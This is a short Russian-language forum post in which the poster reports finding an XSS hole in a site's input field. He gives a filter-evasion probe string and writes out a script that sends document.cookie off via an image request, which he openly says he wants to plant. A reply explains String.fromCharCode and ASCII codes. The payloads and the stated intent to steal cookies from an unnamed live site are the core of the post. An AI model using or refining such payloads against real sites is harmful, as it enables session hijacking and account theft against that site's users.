Господа. Помогите пожалуйста. Долго и упорно искал XSS. И вот наконец результат. Есть поле. Ввожу туда ";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,84,83)) </SCRIPT>=&{} пишет XTS - что соответствует 88,84,83. Хотелось бы туда зарисовать след. текст <script>img=new Image(); img.src="/cgi-bin/s.jpg?;"+document.cookie;</script> Ну тут понятно что я хочу. И если не трудно расскажите пожалуйста про этот формат String.fromCharCode. Всем огромное спасибо.
Метод fromCharCode ASCII Table (7-bit) - таблица ascii кодов, в твоём случае бери столбик Decimal Идентичная функция есть и в vbscript - Chr()